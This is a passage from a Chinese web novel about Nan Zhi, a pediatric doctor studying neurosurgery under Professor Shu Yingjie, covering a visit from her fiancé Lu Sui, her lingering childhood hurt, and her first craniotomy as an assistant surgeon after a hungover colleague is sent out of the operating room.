怕打击孩子的信心,舒映阶勉为其难地鼓励道:“你……你的尿布洗得还是不错的,很干净。” 奚阳华:“……” 其他人:“噗。” 舒映阶道:“天气越来越冷,你也没长冻疮,技巧不错,比我强,加油。” 奚阳华:“……” 他头一次希望舒教授能少说几句话。 舒映阶有固定的手术团队,郭迁几人对南栀和奚阳华已经很熟悉。 两个人的表现他们都看在眼里,谁更稳重一目了然。 郭迁道:“南栀的确很不错,教授问什么都能答得上来,看了这么多场手术了,可以从助手开始。” 奚阳华道:“那也该从三助开始啊。” “三助?”舒映阶皱眉,“我的三助能做什么?二助有点儿活儿都不错了,你看看你们缝的,也就郭迁还凑合。” 郭迁憨厚地笑着。 原三助欲哭无泪中。 舒映阶道:“这样吧,奚阳华也上台,三助,最近手术多,换下来的多休息,将来手术少不了。” 郭迁问:“直接换两个可以吗?” 舒映阶说:“也就只有一个新人,没问题。” 奚阳华:“……” 唯一的新人,难道说的是他?? 舒映阶说完,又叮嘱他们明天去开会,讨论手术相关内容。 南栀记好后,想跟着大家一起离开,舒映阶道:“南栀留下。” 南栀放下笔记本,回到自己的工位。 其他人走后,舒映阶才皱着眉问:“你最近怎么了?心不在焉……也不能说心不在焉。” 交给南栀的工作,她完成得还是很好的。 南栀道:“舒教授,我没怎么呀。” “换作以前,奚阳华刚刚说的那些话,你能一直保持沉默。” 南栀笑笑,但笑容也和从前不太一样,“您不是都帮我把话说了吗?” 舒映阶无奈。 她也没听说南栀家里出什么事,挨了一下打,就成这样了。 但看起来也不像是因为患儿家属伤及无辜,她对病人仍然很上心。 舒映阶实在想不通哪里不对。 她只好说道:“我现在一个人生活,其实还不错。” 南栀:“?” 舒映阶说:“我其实,也经历过一些事情,比如逃难、战争、前线,我最开始是个丫鬟,卖身契都在主人家里,我还结过婚,有个儿子,但是儿子不喜欢我,我们已经三十年没见过了。” 她试图说些自己的经历来开导南栀。 她的经历,绝对算不上幸运。 但南栀依旧反应平淡,她问:“您需要我帮你找到他吗?” 舒映阶:“……,我不是要你帮忙,你,哎,算了,你自己想清楚再来找我吧。对了,听说临川那边有人要过来看你,人来了,你就带人家出去逛逛,现在你是地主,要尽地主之谊。” 南栀点头。 看到南栀的反应,舒映阶更头疼了。 疼,真是让人头疼! 南栀的工位上都是舒映阶给她找的期刊,每本期刊上有价值的文章都被舒映阶标注出来。 她知道舒映阶对她很好,离开办公室后就开始捉摸舒教授话里的意思。 要找孩子?不太可能,舒教授否认了。 丫鬟?找卖身契?也不可能,新社会不承认这东西。 那她 说这些话干嘛,总不会和南栀有关吧?更不可能。 前两天箫珵给她打电话时倒是提过要来首都看看她,他还没来过首都,是该带他去逛一逛。 南栀现在花的钱里,还有不少箫珵资助的呢。 她没学历没职称,赚得确实少了点儿,回康宁之后,得想办法把这方面补上来。 陆教授的做法挺对的,像她这种真正为医疗为科研做贡献的才该享受生活,才该有好的待遇。 两袖清风的教授们当然值得敬佩,但南栀还是希望他们能生活得更好一些。 上台这事,奚阳华已经快气疯了,人都到食堂了还在唠叨,“三助,二助,舒教授的活儿那么好,三助有事情做吗?我都没关心过三助,一直在看二助。” 自从南栀说手术中还会关注其他人在做什么后,奚阳华就也跟着一起关注,本以为他能从二助开始,没想到成了三助。 沈玫道:“舒教授让南栀做二助时,你还说应该从三助做起。” “那是她!现在是我!” 沈玫看向南栀。 南栀安静地吃饭,根本没有反驳奚阳华的意思。 她不说话,奚阳华也觉得怪没劲的,最近他都没被南栀阴阳怪气,总觉得生活里少了点儿什么。 奚阳华问:“你是家里出事了,天天板着脸。” 南栀摇头,“我爸爸妈妈奶奶、几个姨妈、哥哥还有……还有朋友们,都很好啊。” “那你为什么板着脸?” 南栀揉了揉脸颊,“我只是没在笑啊。” 奚阳华仔细观察了好一会儿。 南栀的确只是没在笑。 “你平时总贱兮兮地骂人,我还以为……” 南栀:“?” 她平时不都是在真诚地夸奖他吗? 奚阳华试图找回曾经的感觉,“其实吧,我的水平还是比你强的,我呢,学习比你好,读的书比你多,对吧?” 南栀点头。 奚阳华:“……” 这都不骂他? 沈玫看不下去了。 见过皮痒的,但真没见过痒成奚阳华这样的。 沈玫道:“确实厉害,南栀洗尿布真没你洗得干净。” 奚阳华:“……” 谁懂啊,在儿科上班,还得帮着力不从心的家长洗尿布。 就没有一种用完直接扔的尿布吗?! 南栀端起餐盘起身,“我吃完了,你们慢慢吃,我先去病房看看。” 沈玫和奚阳华看着南栀离开。 奚阳华:“她是不对劲吧,怎么还不嘲讽我?” 沈玫:“……” 南栀确实也不太对劲。 奚阳华道:“不行,我都没斗志了,她凭什么不骂我?!我必须得让她改过来!” 沈玫:“……” 他脑子好像有什么大病。 沈玫真诚道:“你也去找舒教授看看吧,拍个片子。” 奚阳华反应了一会儿,同样真诚道:“你别太关心我,你有男朋友,我不是这种人。” 沈玫:“……” 早晚会被奚阳华气死。 奚阳华端起餐盘去追南栀。 “我呢,名校毕业,前途无量,我家里还有关系,将来我肯定会跟着舒教授,我也不会去什么临川那种小地方。” 南栀把剩菜倒进垃圾桶里,然后放好餐盘,“哦。” 奚阳华:“……” 冷漠的女人总是能牵动人心。 他跟着南栀继续说道:“你没背景,做医生吧,没背景也不太好混,呃,等等,你为什么能跟着舒教授?” 南栀说:“陆教授推荐的。” 奚阳华:“……” 你没背景你没背景…… 他小心翼翼问道:“你和陆教授是什么关系?” 南栀说:“她曾经在我们出诊,当时我们医院的儿科医生太少了。” 奚阳华松口气。 这关系可不算硬。 奚阳华说:“所以啊,我还是比你强的。” 两人走出食堂,来到院子。 天气越来越冷,昨天首都下了一场小雪,路面上虽然没有积雪,但背阴处的树枝上雪还没化。 南栀想到,她曾经住的城市不常下雪,好不容易下了一次大雪,大家都在外面堆雪人打雪仗。 爸爸妈妈也带着他们三个出门玩雪,那是弟弟难得能玩耍的时间。 玩着玩着,天越来越黑,南栀发现周围没有人了,只有几个孤零零的雪人在看她。 雪人有石头做的眼睛,还有胡萝卜做的鼻子。 她比它们还不如。 后来是箫珵找到她,把她带回去的。 过去的十几年里,南栀根本没想过这些事,不知为何最近想得越来越多。 自从挨了那一下打,就好像唤醒了一些记忆。 父母并非都是好的。 奚阳华伸手在南栀眼前晃了晃,“喂,我在和你谈人际关系!” 南栀看向奚阳华,语气有些冷,“我没有靠山,没有家庭支撑,没有父母,没人关注,和你有关系吗?” 奚阳华:“……” 是反驳了,但这语气不对啊。 应该是假模假样的阴阳怪气才对啊?? 奚阳华更不舒服了。 沈玫出来时,还看到奚阳华在想方设法激怒南栀。 沈玫:“……” 他是不是真的该去拍个片子??他的脑子已经被肿瘤攻占了吧?! 沈玫正想去给南栀解围,她实在害怕南栀被奚阳华烦死。 儿研所的医生们都挺喜欢南栀这个吉祥物的,虽然吉祥物最近心情不太好。 沈玫没走两步,就看到一个男人走向南栀。 他的风格太与众不同,脸也与众不同,格外出众。 有点儿好看。 第78章 第78章人来啦 好看的男人朝南栀走过去。 奚阳华还在尽力挑起南栀的怒气值。 其实他已经成功了,但是南栀反驳的方式不对,太直接。 他想要的是那种不经意间的讽刺……对,就是这个味。 奚阳华激动得手舞足蹈。 这一舞,手差点儿没舞到南栀的额头上。 南栀额头上的伤疤还没消,她也懒得涂祛疤痕的药膏,反正做医生和脸无关。 奚阳华的胳膊被人截住。 陆随皱眉看着眼前莫名其妙的男人,扭头问南栀,“儿研所还收精神不正常的?这是儿童?” 奚阳华:“……” 南栀抬头看到陆随的脸,愣了一下。她迅速低下头,低头的瞬间还能听到自己心跳的声音。 原本心里就乱,现在更乱了。 南栀调整好,抬头问:“你怎么来了?不是我哥要来吗?” 陆随挑眉。 箫珵的确要来的,都准备好去火车站买票了,陆随把主任的通知转达给他,“你的假期主任不批,安心留下。” 箫珵请假,早都和主任说好了,主任临时改口,能没猫腻? 陆随很淡定,“你知道主任有多少论文和我有关吗?” 箫珵:“……” 估计箫珵现在还在科室里生气。 陆随道:“他太忙,临时有病人,走不开。” 南栀:“……你俩是一个科室。” 就算有病人,陆随也能接手啊。 陆随道:“病人喜欢从一而终。” 南栀:“……” 她低下头不吭声。 奚阳华想收回手,奈何陆随的力气稍微大了些。 陆随看起来像个病秧子,力气倒是不小。 “你谁啊?放开我,叫保安了。” 陆随问:“叫保安来把你带走?” 奚阳华:“我是她同事!!” 陆随看了眼南栀,南栀没有否认,他这才放手,漫不经心道:“怎么找了个奇葩当同事。” 奚阳华:“!!” 来了个更气人的。 “你到底是谁啊?!” 沈玫激动得小跑过来,“学长,你是学长吗?!” 奚阳华:“?” 沈玫小声说道:“咱们学校有一个连续好几年都拿第一名的学长,陆教授的孙子,就是他!我在光荣榜上看过他的照片,可帅了!” 陆随对第一名三个字没什么反应,他已经习惯了。 奚阳华:“……” 他当然听说过陆随,老师教授们经常把他的名字挂在嘴边,不只是因为他学习,更因为他是陆嘉述的孙子。 奚阳华迟疑道:“你们……” 陆随揽住南栀,微笑,“这是我未婚妻,来看看她。” 他冲奚阳华挑了下眉,“你有意见?” 奚阳华:“……” 南栀不是说……没有背景……吗? 他连背景都输了?! * 南栀把陆随带到附近的西餐厅,首都的西餐厅价格不便宜,南栀觉得应该带陆随去好一点的地方。 自从陆随表白,他们就没认真说过话了,南栀和韦初雪离开临川市时,他都没来车站送她。 进站前,南栀还在回头看,希望能看见他, 又觉得自己这种想法挺渣。 南栀尴尬地把菜单推过去,“想吃什么就点,我请你。” 陆随翻开菜单,淡淡道:“不用在意那件事。” “恩?” “对你来说,感情不是人生的全部,对我来说也一样,不用把小插曲放在心上,该做什么就做什么。” 南栀没想到还要陆随反过来安慰她。 她试探道:“我应该没做什么伤害你的事吧?” 陆随翻菜单的手顿住。 菜单翻了好几页,他手心有些汗渍,一个菜名都没记住。 陆随淡定道:“谈恋爱而已,没那么重要。” 南栀松口气,“那就好,其实我……我真的不知道男女之间该怎么相处,我也不想和你太尴尬。” 尤其不想和陆随走到拳脚相加的那一步。 其实黄春兰和南明杰的关系挺好的,很恩爱,但只要想到陆随,南栀最先想到的都是亲生父母。 无论如何她都摆脱不了恐惧感。 陆随道:“我说了,不用再提这件事。” 南栀乖乖闭嘴,她也分不清陆随是真不在意还是有点儿生意,听话就得了。 陆随把菜单还给南栀,“我对吃没什么讲究,你来。” 南栀便叫服务员来点菜。 “我来替奶奶去开会,我在首都没认识的人,顺便来看看你,”陆随指了指自己的额头,“这是?” 南栀道:“有一对年轻夫妻打架,不小心砸到我了。” 南栀的态度挺坦然,看起来不像是因为这事过不去。 但陆随能感觉到,她确实和以前不太一样,一直苦大仇深的表情,南栀可不会是这种表情。 陆随问:“你在首都逛过吗?我想给奶奶,还有医院的同事买点儿礼物,你带我去逛逛?” 南栀应下,“好啊,正好帮我给乔乔她们带点儿东西。” 陆随笑道:“等你回去就会发现,康宁医院已经变天了。” * 南栀带陆随去百货大楼逛了逛。 晚上她想把陆随送到酒店的,但舒映阶听说陆随来了,便给他收拾出来一间宿舍,可以暂住两天。 这样倒是更方便些。 当着舒映阶的面,沈玫对陆随赞不绝口,“不愧是老师们都放不下的人,看着真的很清爽。” 舒映阶:“?” 老师们放不下陆随的帅? 舒映阶道:“看脸是要吃苦头的。” 沈玫说:“长得丑的就不见得人品好啊,还有又不好看又小心眼的呢。” 两人看向奚阳华,舒映阶:“这倒是。” 奚阳华:“?” 是在说他人品不好,还是在骂他丑? 舒映阶叹口气,“希望他能解开南栀的心结,不过,悬啊。” 虽然南栀看起来柔柔弱弱、安安静静的,但舒映阶知道,她内心比谁都强大。 她自己都迈不出去的坎儿,谁帮都没用。 宿舍楼,南栀和陆随刚从百货大楼回来。 南栀把陆随带到宿舍,放好东西。 “明天我有台手术,不能陪你了,第一次给舒教授当二助,我得提前准备。” 陆随点头,“明天我要去开会。” 南栀看了看宿舍的布置,“凑合住两天吧,缺什么去找我,我那边应该都有,我的宿舍就在你斜对面。” 陆随再次点头。 南栀看向屋门,“那我先走啦?” 陆随伸手把南栀拽回来,问:“你不高兴?” 南栀一怔,下意识摇头,“没有啊。” “走这一路,就没见你笑过,还说没有?和受伤有关?说一说?” 南栀咬住下唇。 陆随这么一问,她莫名有点儿委屈。 南栀沉默许久,陆随耐心等着。 南栀抬起头,眼睛有点儿红,“他们为什么这样对我?” “恩?” “我爸妈,为什么不喜欢我?他们上过学,读过书,他们应该知道,弟弟身体好不好,不是我能决定的。” 陆随愣住。 他知道南栀家里那些事,但南栀一直表现得很不在意。 南栀问:“如果生病的是我,他们会关注我吗?还是他们只是单纯地讨厌我?” 陆随一时不知该说些什么。 这种事,说什么都不管用,安慰不了。 陆随把南栀扯到怀里,轻声道:“你现在不是有新的生活了吗?你现在的父母对你很好,至于以前那两个人,是他们不配做父母。” 南栀抓着陆随的衣角,眉头越拧越深。 她还是想不通。 * 南栀已经看过五台切除肿瘤的手术,包括各个不同的位置。 这次手术她是二助,二助要做的事情其实也不多,舒映阶原本就不需要那么多助手,安排三个助手上台,其实更是为了教学。 郭迁的手艺好,他们两个人就能做绝大部分事。 南栀换好手术服安静等候。 巡回护士找到南栀打趣道:“听说有个帅哥来找你,是谁呀?” 器械护士立刻接话道:“我今天早上看见了,他俩一起去食堂吃饭,长得真是帅,跟海报似的。” 沈玫道:“我们南栀也很好看啊,多配。” “这倒是,南栀也好看。” 南栀怕给陆随添麻烦,不敢说他们的关系。 奚阳华嘴很快,比平时更酸,“她未婚夫。” “我就说关系不一般!!唉,可惜了,你们如果在首都结婚,我就能去吃喜糖了。” 奚阳华道:“人家是陆教授的孙子,陆教授人在临川,我们还能吃上喜糖?” 大家恍然大悟,难怪南栀能来和舒教授学习!! 这一刻南栀忽然有点儿理解真正的陆随。 他明明是有本事的,可在能做到一些事情后,大家总会下意识想,是因为陆嘉述他才能做到。 虽说南栀的确是被陆教授推荐的,但陆教授的性格,不可能因为她和陆随的关系才推荐。 舒映阶看向几人,“废话真多,准备手术。” 大家赶紧走过去准备办正事。 郭迁打了个哈欠。 舒映阶看向郭迁,郭迁尴尬道:“不好意思,昨晚没睡好。” 舒映阶 道:“我听说你和制药厂走得很近,还和他们一起喝酒?酒气藏一藏。” 郭迁打起精神说道:“没有的事,您了解我的,我不可能做这事。我家邻居昨晚吵架,动静太大。舒教授,我没问题,开始吧。” 第79章 第79章手术 作为舒映阶的二助,南栀的工作不多。 如果这不是开颅手术,她干站着看也是有可能的,还好现在还能动动手。 做手术的是个九岁男孩,情况比韦初雪好得多,目前还没有脑积水,也没有明显症状。 他是在偶然的情况下检查出良性肿瘤,父母便将他带到儿研所治疗。 这类手术科室其他医生也能主刀,是舒映阶主动要求做的。 南栀已经看过好几台切除肿瘤的手术,有良性的,也有恶性而且位置复杂的,手术所有步骤她都牢牢记在心里,包括整个手术团队每个人该做什么。 南栀淡定地做些最基础的工作。 切头皮、钻孔、取下骨瓣、切硬脑膜、露出脑组织、找到肿瘤,一切都很顺利。 郭迁用力闭了闭眼睛,手下的力气没掌握好,差点儿和舒映阶撞上。 舒映阶正分离肿瘤。 她停下动作,看向郭迁。 所有人大气都不敢出,假装自己很忙,但又忍不住偷看郭迁和舒映阶。 一不小心这就会成为手术事故,而且是最低级的手术事故。 儿研所舒映阶带领的手术团队出这种事故,传出去这辈子的名声都没了。 舒映阶道:“出去清醒清醒。” 郭迁掌心、额头、后背都被汗水浸湿了。 他的心脏咚咚咚快速跳动,“我只是……” “这是在做手术,我现在只是让你清醒,剩下的账,出去再算。” 整个手术团队的目光都落在郭迁一个人身上,这无声的压力有千斤重。 灯光照着患儿的大脑,郭迁眼前血肉模糊。 昨天他推不开应酬,被拉去一起喝酒,一直到凌晨两点钟。 为了驱散这身酒气,他昨天泡了一个多小时的澡,还把里里外外的衣服都换了一遍。 今天早上五点钟就被妻子叫醒,刷牙就刷了五分钟,一到单位就被同事说身上有酒气。 郭迁担心被舒映阶骂,还去借了香水喷在身上,就担心被闻出来。 郭迁道:“教授,现在没人能接我的手。” 舒映阶说:“手里的活儿做完,和南栀换位置。” 这话一出,整个手术室的人都看向南栀。 郭迁打瞌睡是一回事,交给南栀来做是另外一回事。 这是南栀第一次上台,做一助不合适。 虽然是良性肿瘤,但还是那句话,开颅手术没有小手术。 “舒教授,还是让郭迁去洗把脸,或者再叫个人来,应该有没在台上的。” 舒映阶的语气却不容置疑,“抓紧时间继续干活。” 奚阳华跃跃欲试,“教授,我能帮忙吗?” 舒映阶的目光带着责备,“术中教学很正常,但要对病人的生病负责。” 奚阳华:“……” 不是,南栀一上手就做一助是正常的,他帮忙就是对病人不负责?? 是舒教授把他看得太低还是把南栀看得太高?? 南栀冷静地接下郭迁手中的工具。 郭迁神色复杂地看了她许久,才转身离开。 手术继续。 整个手术团队,大概只有舒映阶和南栀是冷静的,好像什么事都没发生,该做什么就做什么。 沈玫心里都在担心,如果南栀出错了,如果这台手术失败,如果…… 最好术中病理和大病理都是良性,可千万别出差错。 舒映阶感觉到手术室内的骚动,不动声色道:“五十年代,我上过前线。战士的腿炸飞了,我一个人去枪林弹雨中找腿,抱着腿往回跑,保存得好,说不定还有救。” 南栀看了眼舒映阶。 “医院缺血,大家来献血,当时绝大部分人都不知道先消毒再抽血,结果血的质量不好,死了不少人。” 舒映阶看向几个护士和医生,“都是一步步走过来的,遇到一点小事就慌,真遇到大事怎么办?我让南栀来做,是因为我知道她能胜任,不是在路边捡个白菜,就决定把它当猪肉吃了。” 沈玫舔了舔嘴。 白菜当猪肉,挺形象的比喻。 不过舒教授好像没看到南栀上台,她对南栀的信心是哪里来的? 舒教授的几句话暂时打消他们的疑虑。 手术顺利进行,肿瘤的位置不错,可以完全切除。 后续缝合工作,舒映阶看向南栀,“试试?” 沈玫倒吸一口冷气,手术室内的寒风都钻到她这边来了。 奚阳华紧张得心脏狂跳。 明明不是让他动手,可他就是紧张得没法控制自己。 再看南栀,脸色平静地像是舒映阶只是让她吃个早饭。 南栀淡定地处理硬脑膜。 所有人都死死地盯着她的手。 南栀动作一顿。 大家心中警铃大作。 南栀道:“手感果然不一样。” “……” 这会儿就别管什么手感了吧! 南栀重新调整好力度,舒映阶偶尔提点几句。 一切顺利。 沈玫的心慢慢放下。 护士瞟了一眼,惊叹道:“还真不错,看着像熟手。” 舒映阶勾起唇,不过她戴着口罩,没人能看到她的笑意,“南栀每晚都在练习。” 如果不是恰好看到,她也不敢让南栀直接上手,对病人要负责。 南栀迅速处理好后续所有缝合工作。 舒映阶难得清闲,还能顺便指导指导奚阳华和沈玫。 奚阳华:“……” 好像没他什么事。 他拧着眉看南栀。 同样都是来学习的,人和人之间的差距会不会太大了? 手术结束,大家集体鼓掌,“南栀第一次做吗?太工整了,好看又实用。” 南栀道:“我私下都有练习的,有找不同的材料练习,我以前做过甲状腺癌的手术,手感差太多。” 噢,原来是这个手感。 器械护士打趣道:“难怪舒教授走到哪里都带着南栀,原来是挖到宝贝了。” “要不怎么说教授有眼光,南栀如果没点儿本事,陆教授能推荐她过来吗。” 奚阳华沉默不语。 患儿被推走,在大家的簇拥中,南栀离开手术室。 郭迁还站在手术室外。 郭迁问:“手术顺利?” 器械护士笑道:“有舒教授和南栀在,没意外!” 郭迁看向南栀,他看了许久,才朝南栀笑笑,“恭喜。” 南栀道:“谢谢。” 虽然她不知道有什么好恭喜的。 * 凡是陆嘉述不想开的会,就一定都是无聊的会议。 陆随差点儿没直接在会议上打哈欠。 说是请了国外的专家来交流经验,结果全是些没有营养的演讲,陆嘉述怎么知道这会没内容的? 陆随好不容易等到会议结束,起身就跑,生怕有人扯着他再聊聊如何建设小儿外科的问题。 他不知道,他不懂,他能给儿童做手术。 陆随回到儿研所。 他很清楚,不论是陆嘉述还是他自己,这次来首都的目的都不是为了这个会。 陆嘉述在意南栀的心态,他也在意。 但南栀的心结,他也不知道怎么解,毕竟他也没怎么感受过父爱母爱。 这些对陆随来说都不重要,但南栀不一样,她感受过父母带来的负面影响,陆随看到的只有荣誉。 陆随在心里盘算着该怎么带她“散心”。 刚进儿研所,陆随就看到神外的两个主治医生在讨论今天的手术。 “郭迁喝酒了,舒教授没直说,但直接把他赶走了。” “这不是带实习生的手术吗,不用舒教授上台,听说她是特意要求自己做的,郭迁走了,没一助能行?” “嗐,你猜怎么着?” “我猜……你跟我说相声呢?” “直接让进修的上了!!” 大概是南栀跟过的手术太多,一提到“进修的”,大家就自然而然联想到她。 “那能行?南栀没上过台吧?她以前好像是普通的儿科医生。” “不但行!!做得还很好,有点儿舒教授当年的影子!!” 大家默契地“哇”了一声,“难怪被推荐过来哦。” 陆随弯起唇,他就没想过南栀不行。 有些事就是天生的,同样的老师教学,有的人学得好,有的人听完所有课程还是一窍不通,南栀就是最好的学生,只要一遍就能学会。 天赋好,还知道努力,这两样加在一起,其他人想比都比不上。 陆随心情不错。 他找到南栀的办公室,舒映阶刚好从办公室里走出来。 她和陆嘉述差不多大,至今还坚持在手术台上,实在不容易。 这也侧面说明国家实在缺人才。 舒映阶走向陆随。 陆随老老实实地打招呼,“舒教授。” “你别去打扰南栀,”舒映阶说,“她最近心情都不好,今天有两台手术,她估计不想见人。” 陆随道:“我把东西放下就走。” 他回来时顺便去百货大楼买了些吃的。 南栀去食堂的次数其实不多,只要不是饿狠了,她都在门诊、办公室、手术室里跑。 买点儿点心能垫一垫。 舒映阶点点头。 陆随走到办公室门口敲门。 很快舒映阶便听到有点儿雀跃的声音,“你开完会啦?进来吧。” 舒映阶:“……” 错付了,终究是她错付了。 沈玫快步走过来,“舒教授,有个富雅医院来的教授想见您。” “谁?” “王敏教授。” 舒映阶拧起眉,“知道了,别声张,把她带到我的办公……” 现在不是她的办公室了。 舒映阶改口道:“带去没人的手术室。” 沈玫:“……” 这别致的见面地点,也不知道王敏教授害不害怕。 * 南栀不得不承认,她见到陆随后还是很开心的。 虽然一想到男男女女在一起就害怕,但看见陆随时,尤其是看到陆随买的东西,南栀的嘴角都快咧坏了。 “你怎么知道我饿了?”南栀在一堆点心中找喜欢的点心,“哇,还有饼干。” 陆随见南栀办公室上堆满了各种期刊文件检查报告,忍不住说道:“再忙也得吃饭。” 南栀不太在意,“反正就这两个月,能逮住舒教授的机会不多。舒教授能留下我,全靠陆教授的面子,当了教授就是好,就算关系不好,也得给面子。” 陆随一头雾水,“谁和谁关系不好?” “陆教授和舒教授啊,陆教授叮嘱我了,她俩关系一般,让我老老实实学习。” 陆随:“……” 他同情地看着南栀,“孩子是挺傻的。” 陆嘉述就不能换个人骗? 南栀:“傻?还好吧,最近来的患儿都还蛮聪明的。” 陆随:“……没事。” 上帝给南栀开了一扇门,总要关一扇窗的。 南栀盯着期刊走神,“偏远地区还有很多我没研究过的病,咱们学的时候已经控制住几乎没有了,不过现在还有……” 她嘀嘀咕咕也不知道自己在说什么。 不说话又不太好,她怕陆随想起“伤心往事”。 陆随担心再纵容下去,南栀就会说出1+1=3的论证,他打断南栀,说道:“我假期有限,路上还要耽误时间,明天晚上就走。” 南栀双眸暗淡一瞬,笑着回道:“我送你去车站。” “不用了,”陆随道,“奶奶让我带你出去逛逛,有想去的地方吗?” 南栀已经把首都的地图记得滚瓜烂熟,但还真没关心过首都有什么可以逛的地方。 按理说应该有很多未来的5A景点。 南栀道:“我得和舒教授请个假,都行吧。” 陆随说:“那我定,你也快回去了,反正……你哥挺惦记你。” 南栀惊讶,“难得从你嘴里听到他的好话。” “他水平虽然一般,但惦记你是真的,我总不能否认。” 南栀心里只剩下“水平一般”四个字。 瞧瞧,如果不是她聪明,不在中间传话,这两人早就大打出手了。 陆随说:“还有阮乔,天天在食堂嚷你的名字,你人不在,存在感一点儿都不低。” 南栀大概能想象到阮乔是如何叫嚣的,她笑道:“盛医生没管她吗?” 陆随淡定道:“她跟着一起喊。” “?!” “儿科来了几个新人,不好管,她指望着你回去帮她的忙。” 南栀好奇道:“又有新人?实习?” “祁院长挖过来的正经主治医生,两男一女,都很年轻。” 南栀:“哇,帅吗?” 陆随看向南栀。 南栀:“……颜值不能当饭吃,我不看好这些人的。你知道的,我最务实了。” 陆随扬眉。 南栀和阮乔都管他叫小白脸,当然,他是绝对不会承认的。但退一万步说,他怎么没见南栀对他务实,南栀就没错吗? 大概是南栀“一战成名”,儿研所其他医生对她的关注多了些。 尤其看到她和男性同进同出时,关注就更多了——八卦不分人,都受欢迎。 陆随走后第二天,舒映阶安排了门诊。 她最近排的门诊很奇怪,许多病例都从其他医生手中转到她这边,好像是特意安排的。 沈玫和奚阳华看在眼里,心里懂,但都不说。 一个是不想惹麻烦,一个是太酸。 早上沈玫给南栀带了两个包子,“我男朋友做的,你尝尝。” 奚阳华伸出手。 沈玫道:“你妈不是给你做早饭吗?” 南栀说:“你这是洗尿布的手,不是吃包子的手,他们还在等你干活呢。” 奚阳华:“……,你见了男人就恢复精神了?” 阴阳怪气什么的果然还是最讨厌的!!就不能直接骂吗?! 沈玫看向南栀。 陆随来了以后,南栀的心情肉眼可见地变好了。 虽然还没恢复到刚来时的样子,但也不错,说明她没遇到太难的事,以后回临川了,还有机会恢复。 舒教授总算不用担心了。 此时的舒大教授正在宿舍里郁闷,“她怎么能因为一个男人影响心情?!” 南栀抱着包子啃。 牛肉馅的包子,这年头纯肉馅的包子可不多。 南栀问:“你男朋友还会做饭啊?” 奚阳华奇怪道:“为什么是你男朋友给你做早饭,你们住在一起吗?” 沈玫脸色不自然,“他来给我送的,他很会做饭,我们在一起时,一般都是他做饭。” 南栀羡慕道:“有个贤夫良父真好。” 奚阳华:“……” 好嫌弃她。 沈玫问:“陆医生不会做饭吗?” “不知道,”南栀说,“他是很厉害的心外医生,就算会做饭,也没时间天天做,太累了。” 奚阳华道:“你不是要贤夫良父?把他培养培养。” “你怎么一点儿都不顾别人的梦想?”南栀更嫌弃他,“自私。” 沈玫:“自利。” 奚阳华:“……” 他明白了,原来不是他说的话不对,不对的是他这个人。 只要是他,就什么都不对!! “你倒是有舒教授疼,我们呢,我们还得去其他科室,将来能不能决定自己去哪个科室都不一定,”奚阳华越说越委屈,“舒教授为了你,还特意挑病例帮你,你到底哪里好了?” 南栀惊讶道:“挑病例?什么意思?” 沈玫说:“你没发现?你跟着舒教授这一个多月,应该已经把神外能涉及的病都看过一遍了吧。” 南栀从口袋中翻出笔记本,“脑出血、先天性脑积水、椎管内肿瘤、脊膜膨出、脑囊虫……” “就算是舒教授,也不可能擅长这么多种病,她是把自己会的都教给你了。” 南栀这才想到,这些日子的门诊,重复的病症好像确实不多。 而且舒映阶还会请其他医生过来,他们每个人擅长的方向都不同。 南栀茫然道:“我这么重要吗?” 奚阳华:“!!” 瞧瞧她这副欠揍的样子! “好好学吧,”沈玫拍拍南栀的肩膀,“舒教授对你寄予厚望。” 奚阳华冷哼道:“这就是偏心,纯粹的偏心,我们就只能自己学。” “不能这样说,舒教授教给我的,刚好是我能弄明白的,如果她发现我们还有余力学习,不可能不教。” 奚阳华绝对不承认他的精力已经到头了。 沈玫感慨道:“最近你们医院的高仁也不发表文章了,他特别擅长总结,还总能总结出新花样,如果他能把小儿神外的病种整理出来就好了。” 南栀心虚地低下头。 这段时间她哪有时间写什么总结? 就算有时间,她也不敢去投稿,被发现了怎么办? 奚阳华道:“你就承认吧。” 南栀:“?!” 他神神秘秘地凑过来,“就是她吧?” 南栀心脏狂跳,努力装傻,“她是谁?” “陆教授啊!”奚阳华说,“肯定就是陆教授,别人没这个水平!不是陆教授我去吃屎!” 南栀:“……” 有点儿想看。 南栀说:“恩,应该吧,不清楚。那个,那种东西尽量还是别吃,对身体不好,我建议你还是……不要随便发誓。” 万一吃出事来了可不好。 经沈玫这么一提醒,南栀不仅发现舒教授对她的特殊照顾,还想到确实可以把在儿研所的病历总结总结。 只要不提到儿研所,写得别太明显,不会被发现的。 如果能把小儿神外的病种都整理出来,对学科的发展也有好处。 南栀盘算着回临川之后再写点儿什么。 舒映阶再去门诊时,南栀就特别记录了患儿的病情。 果然和沈玫说的一样,部分人好像被筛选过,生的病都不重样的。 南栀很感激舒映阶。 中间没病号的两分钟,南栀去给舒映阶倒水,“您不用这么辛苦的,我可以慢慢学,不着急。” 舒映阶看了她一眼,“你不着急,我急得很。” 南栀讨好道:“怎么会呢,只要您同意,我以后还可以过来呀。” 舒映阶笑起来,“到了我这个年纪,每次告别都要当成最后一次,一不留神就过不去今天了,和每一个人见面,都有可能是最后一次见面。” 这话有点儿伤感,南栀听得眼睛泛红。 “您别这样说,您肯定能长命百岁的。” “都想长命百岁,有几个人真能长命百岁的?我现在的年纪,明天没了,都是喜丧,不说儿研所了,就说富雅医院这些综合性医院,你看看每天推到太平间的都是多大年纪的人?你这次只能待两个多月,下次再来,我可就不一定在喽。” “舒教授……” 见南栀的眼眶都快红透了,舒映阶笑道:“你看看你,还是做医生的,一点儿觉悟都没有。我十几岁起就是这个想法,过了今天没明天,得珍惜每一天。我和小陆都说好了,遇到有天赋的,好好培养,儿科人少,现在少,以后和其他科室相比,也不会多,儿科特殊,儿外更特殊,只要是愿意学的,我们都愿意教。” 南栀恍然大悟,“陆教授说和您关系不好……” “这是我们提前说好的,怕你太顺,反而丧失斗志,不过这些天我也看见了,你不怕苦不怕累,没什么问题。” 难怪南栀说陆嘉述和舒映阶关系不好时,陆随看她的目光像是在看傻子。 居然不告诉她! 舒映阶示意南栀坐下,“你也知道,现在国内有小儿外科的医院不多,更别说是小儿神外,一般这些手术都是神外的医生来做,首都有几个神外的专家,也给孩子做手术,这方面做得很不错。我当初会考虑到小儿外科,也是这方面空白太多,所以我和小陆分工合作,不过她最近对神外似乎也很感兴趣。” 南栀认真听着。 “但我知道,如果我哪天走了,这摊子事肯定会被搁置,人才太少,资源也少,上心的人更少。你既然有兴趣,就多坚持坚持。” 南栀皱眉道:“我能坚持,您别这样说,您的身体这么好,肯定没问题。” 舒映阶笑笑,起身道:“你先盯着点儿,我出去一趟。” “后面还有患者,我一个人吗?” 